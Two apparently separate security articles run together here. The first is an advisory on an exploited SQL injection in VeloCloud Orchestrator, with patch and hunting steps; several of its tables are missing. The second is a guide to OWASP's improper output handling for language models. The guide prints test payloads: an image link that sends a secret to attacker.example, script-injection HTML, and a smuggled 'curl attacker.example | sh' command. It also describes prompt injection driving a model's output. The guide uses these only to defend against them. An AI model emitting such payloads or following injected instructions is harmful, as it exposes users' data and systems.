CVE-2026-114625 is a SQL injection in on-premises Arista VeloCloud Orchestrator (VCO) that lets any authenticated portal user gain operator privileges and act as the local “superuser operator”. The lowest built-in tenant role, Enterprise Read Only, is enough. CISA added it to the Known Exploited Vulnerabilities (KEV) catalog on October 23, 2026. Upgrade to VCO 5.2.3.18, 6.1.3.10 or 6.4.2.12 or later, restrict the web interface to administrative networks until you can, and then check the orchestrator for signs that someone used it before you did.

It is also the third exploited VCO vulnerability in three months. If you patched in July or September and stopped there, you are still exposed.

Are you affected?

You are affected if you run VCO on-premises on one of these versions, as listed in Arista’s CVE record:

Arista says hosted VCO, including Dedicated, was affected and has already been patched. The record lists no 7.0 range for this CVE and marks unlisted versions as unaffected, but Arista’s September advisory did list 7.0 builds as affected by an earlier flaw. If you run 7.0, confirm your status with Arista rather than relying on the absence of a row. With the July flaw, Arista said it had not assessed end-of-support releases, so if you are on an older train, ask Arista’s Technical Assistance Center (TAC) about upgrade paths.

VCO is the management plane for VeloCloud SD-WAN. It holds configuration, device inventory and credentials for the Edges it manages, so treat it as a tier-0 system even if it doesn’t look like one in your asset inventory.

What the vulnerability does

Arista’s description in the CVE record: on an affected system, “any authenticated user can gain operator privileges and masquerade as a local ‘superuser operator’ user”. That includes functionality meant for internal use only and not meant to be reachable remotely. The record classifies it as CWE-89 (SQL injection).

The conditions, per the record’s configuration notes:

• VCO is exposed by default, and “there is no configuration that can prevent the exposure”.
• The attacker needs network access to the VCO web interface.
• The attacker needs a valid authenticated session on the VCO portal. The minimum role is Enterprise Read Only.

That last condition matters more than it first appears. In a multi-tenant VCO, a read-only user at one customer or one business unit could reach operator-level control over the whole orchestrator. Every tenant login, including service accounts, shared logins and accounts left behind by former staff or partners, is a possible starting point.

Arista scores it CVSS 3.1 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) and CVSS 4.0 9.4. The PR:L (low privileges required) is the only thing keeping it off 10.0. The record says the issue was discovered externally. Arista published Security Advisory 0199 and the CVE record on October 22, 2026.

Exploitation status

The evidence of exploitation comes from CISA rather than from Arista’s CVE text:

• KEV: CISA added CVE-2026-114625 on October 23, 2026, with a due date of October 26, 2026 for US federal civilian agencies. The entry has the forensic triage flag set, so under BOD 26-04 agencies must also check for compromise, not just patch. Known ransomware use is listed as “Unknown”.
• SSVC: CISA’s Vulnrichment entry in the CVE record, timestamped October 22, rates Exploitation active, Automatable no and Technical Impact total. If you use the SSVC deployer model, “active” plus “total” puts an internet-facing VCO at the top of the queue even though the flaw needs a login.

Arista’s records for the July and September VCO flaws said explicitly that they were “known to be actively exploited”. The October record does not, and at the time of writing we found no public detail on who is exploiting this one or how. Treat attribution and scale as unknown.

Third exploited VCO flaw since July

CISA’s KEV catalog now lists three VeloCloud Orchestrator vulnerabilities, all added in 2026:

Each fix moved the floor. We checked a set of common builds against the affected ranges in all three CVE records:

That table was generated by comparing each build to the affected version ranges in the three CVE JSON records from the CVEProject/cvelistV5 repository. It reflects what the records say, not testing against a VCO. Arista’s September advisory did not list a fixed 6.1 or 7.0 build for CVE-2026-93952 when it was published, so for those trains check Arista’s current advisory before assuming you’re clear.

The practical point: an orchestrator that was patched once and then left alone has been inside at least one exploited vulnerability window for most of the last three months. That changes the hunting question from “was I hit last week?” to “has this box been clean since July?”

What to do now

1. Find every VCO you run. Include lab, DR and acquired-company instances. Record version, train and whether the web interface is reachable from the internet.
2. Restrict the web interface to trusted administrative networks now, before the upgrade window. This is Arista’s first interim control. It does not remove the risk from users who already have access.
3. Upgrade to 5.2.3.18, 6.1.3.10 or 6.4.2.12 or later. If you are on 7.0 or an unsupported train, open a case with Arista TAC.
4. Preserve evidence first if anything below looks wrong. Arista’s September advisory asks for web access logs, application and system logs, database logs and file-system timestamps to be kept before remediation. An upgrade can overwrite exactly the files you need.
5. Cut back portal accounts. Remove dormant tenant users, rotate shared credentials, and check that partner and MSP accounts are still needed. This flaw turns every one of them into a path to operator rights.
6. Block outbound traffic from the VCO host that normal operation doesn’t need. Arista lists this in the October workarounds.

For the wider prioritization question, our guide to matching the KEV feed against a scanner export shows how to catch the next one automatically.

How to hunt

Arista’s October record lists the same detection areas as its earlier VCO advisories: access from known malicious IPs, unexpected outbound network activity from the VCO host, backdoor daemons and web shells, and unexpected administrator activity. It does not publish indicators specific to CVE-2026-114625.

Arista did publish concrete indicators with the September flaw, CVE-2026-93952 (Security Advisory 0183). Arista has not said they are linked to the October issue. Because most builds vulnerable today were also exposed to CVE-2026-93952, they are a sensible baseline:

A starting point on the VCO host, run as root. This is illustrative and was not tested against a VCO; adjust log paths to your build:

# Persistence files named in Arista advisory 0183
ls -la /usr/local/sbin/.vcnode.js /usr/local/sbin/vc-sysmond \
       /etc/systemd/system/vc-sysmon.service 2>/dev/null
md5sum /usr/local/sbin/vc-sysmond 2>/dev/null

# Header and source IPs from the same advisory in nginx logs
zgrep -il 'x-vc-opt' /var/log/nginx/*access* 2>/dev/null
zgrep -hE '142\.93\.149\.77|104\.248\.126\.159' /var/log/nginx/*access* 2>/dev/null | head

# Unexpected outbound connections from the orchestrator
ss -tnp state established

Beyond file indicators, Arista’s advisories point to behavior worth reviewing in the VCO’s own audit trail:

• operator-level actions taken by accounts that only hold tenant roles, or by the local superuser operator at times nobody on your team was working
• sensitive configuration changes or privileged maintenance actions with no matching change ticket
• database exports, new archive files, or unexpected access to device inventory, certificates and keys
• configuration pushed to Edges that you did not approve

If you find a compromise, Arista’s guidance from the earlier advisories applies: rotate credentials, validate the state of every managed Edge, and restore or replace the orchestrator from a trusted source. Patching a compromised VCO does not remove an attacker who is already there.

Limits of this article

We could not retrieve Arista’s Security Advisory 0199 page directly. The affected versions, conditions, workarounds and description above come from the CVE record Arista published as the CNA, which carries the advisory’s content. We have not tested any VCO build, and the hunting commands are a starting point, not a validated detection. There is no public technical write-up of the exploit at the time of writing.

Sources and verification

A model’s output feels like your application’s own text. It isn’t. Anyone who can influence the prompt, directly or through a web page, email or file the model reads, can influence what comes out. When that output is rendered as HTML, run as SQL, passed to a shell or used as a file path, the attacker’s influence reaches those systems too. OWASP’s Top 10 for LLM Applications calls this LLM05:2025 Improper Output Handling.

Scope. Based on OWASP’s LLM05:2025 entry (read from the project’s GitHub repository on October 22, 2026). The Python examples were run with Python 3.13, Python-Markdown 3.10.3, nh3 0.3.7 (a Python binding to the Rust Ammonia sanitizer), Pydantic 2.13.5 and SQLite. They demonstrate patterns; they are not a complete defense for any particular application.

What OWASP covers

OWASP defines LLM05 as “insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream to other components and systems”. It notes that because output can be controlled through the prompt, this is “similar to providing users indirect access to additional functionality”. It separates LLM05 from overreliance: LLM05 is about what happens to output before it goes downstream, not about whether the output is accurate.

OWASP’s common examples:

OWASP also lists conditions that raise the impact: giving the model more privileges than end users have, exposure to indirect prompt injection, third-party extensions that don’t validate inputs, no context-aware output encoding, and missing monitoring and rate limiting.

The rest of this article covers three of those destinations with patterns we ran.

1. Rendering Markdown and HTML

Chat interfaces usually render model output as Markdown. Markdown libraries commonly pass raw HTML through (Python-Markdown did in our test), so a model that has been told to emit <img src=x onerror=...> produces script execution in the user’s browser. Markdown images are a quieter problem: if the model emits ![x](https://attacker.example/c?d=SECRET), the browser fetches that URL when it renders the image, sending whatever the model put in it. One of OWASP’s reference links describes this technique against a chat interface.

The pattern: convert Markdown to HTML, then sanitize the HTML with an allowlist, and only allow images from hosts you control.

import markdown, nh3

ALLOWED_TAGS = {"p", "ul", "ol", "li", "strong", "em", "code", "pre", "a", "img", "blockquote"}
IMG_HOSTS = ("https://cdn.example.com/",)

def drop_foreign_images(tag, name, value):
    if tag == "img" and name == "src":
        return value if value.startswith(IMG_HOSTS) else None
    return value

def render_model_markdown(text: str) -> str:
    html = markdown.markdown(text)
    return nh3.clean(html, tags=ALLOWED_TAGS,
                     attributes={"a": {"href"}, "img": {"src", "alt"}},
                     url_schemes={"https"},
                     attribute_filter=drop_foreign_images)

We fed it this model output:

Here is your summary. ![x](https://attacker.example/c?d=SECRET_TOKEN)

<img src=x onerror=alert(1)> [click](javascript:alert(1)) ![logo](https://cdn.example.com/logo.png)

Result:

<p>Here is your summary. <img alt="x"></p>
<p><img> <a rel="noopener noreferrer">click</a> <img alt="logo" src="https://cdn.example.com/logo.png"></p>

The onerror handler and the javascript: link are gone, the attacker’s image URL was stripped, and the image from the allowed host survived. If you don’t need images or links in model output, leave them out of the allowlist entirely. OWASP also recommends a strict Content Security Policy as a second layer; our nonce-based CSP guide covers that, and an img-src directive limited to your own hosts blocks the image exfiltration path even if sanitization misses something.

If you display output as plain text, you don’t need a sanitizer: HTML-encode it, which is what most template engines do by default unless you mark the content as safe.

2. Database queries

OWASP’s third scenario is a chat feature that writes SQL; a user asks for a query that deletes all tables, and the application runs it. OWASP recommends parameterized queries for any database operation involving model output.

The stronger design is to not let the model write SQL at all. Let it choose from operations you define and fill in typed parameters, which you validate before they go anywhere near the database:

from typing import Literal
from pydantic import BaseModel, ConfigDict, Field

class OrderQuery(BaseModel):
    model_config = ConfigDict(extra="forbid")
    status: Literal["open", "shipped", "cancelled"]
    limit: int = Field(default=20, ge=1, le=100)

def run_order_query(db, model_json: str, customer_id: int):
    q = OrderQuery.model_validate_json(model_json)
    return db.execute(
        "SELECT id, status FROM orders WHERE customer_id = ? AND status = ? LIMIT ?",
        (customer_id, q.status, q.limit)).fetchall()

Three details matter. The SQL text is yours. The values are bound as parameters. And customer_id comes from the authenticated session, not from the model, so a prompt can’t redirect the query to another customer’s data. We tested it against an in-memory SQLite table:

Most model APIs can be asked to return output that follows a JSON schema, which makes this pattern practical. Validate anyway: a schema request is not a guarantee.

3. Shell commands and tool calls

OWASP’s first example is model output passed to a shell, exec or eval. The fix is the same shape: the model picks an action by name, your code maps the name to a fixed command, and nothing the model writes is interpreted by a shell.

import subprocess

ACTIONS = {"disk_usage": ["df", "-h"], "uptime": ["uptime"]}

def run_action(model_choice: str):
    argv = ACTIONS.get(model_choice)
    if argv is None:
        raise ValueError(f"action not allowed: {model_choice!r}")
    return subprocess.run(argv, capture_output=True, text=True, timeout=10, check=False).stdout

In our test, "uptime" ran the command, and "uptime; curl attacker.example | sh" was rejected because it isn’t a key in the table. If an action needs an argument, such as a file name, validate it against a pattern and pass it as a separate list element, never by building a command string. For file paths, resolve the path and check it is inside the directory you expect before opening it.

The same logic applies to agent tools that call internal APIs. OWASP’s first scenario describes a general-purpose model passing its output, unvalidated, to an extension with administrative functions. Give each tool the narrowest permission it needs, and validate tool arguments in the tool, not in the prompt.

A checklist

• List every place model output goes: browser, database, shell, file system, email, other APIs, other models.
• For each, decide the encoding or validation that destination needs, as you would for user input. OWASP points to the ASVS (Application Security Verification Standard) for validation and encoding guidance.
• Prefer structured output with an allowlist (actions, enums, typed fields) over free text that you parse.
• Take identity and authorization from the session, never from model output.
• Sanitize rendered Markdown or HTML with an allowlist, and restrict image and link destinations.
• Log model outputs that reach sensitive sinks, and alert on validation failures. A spike in rejected tool calls is a useful signal of injection attempts.
• Rate-limit model usage; OWASP lists missing rate limiting and anomaly detection as impact amplifiers.

These controls limit what a manipulated model can do. They don’t stop the manipulation, which is OWASP’s LLM01:2025 Prompt Injection. If you are new to how request forgery from a server works, our SSRF explainer covers the SSRF outcome OWASP mentions.

Limits of this article

The examples cover three destinations and were run in isolation, not inside a model-driven application. The sanitizer configuration is a starting point; review it against the content your interface actually needs. We did not test any specific model or vendor API, and we did not independently verify the incidents OWASP links as references.

Sources and verification

Checked on October 22, 2026.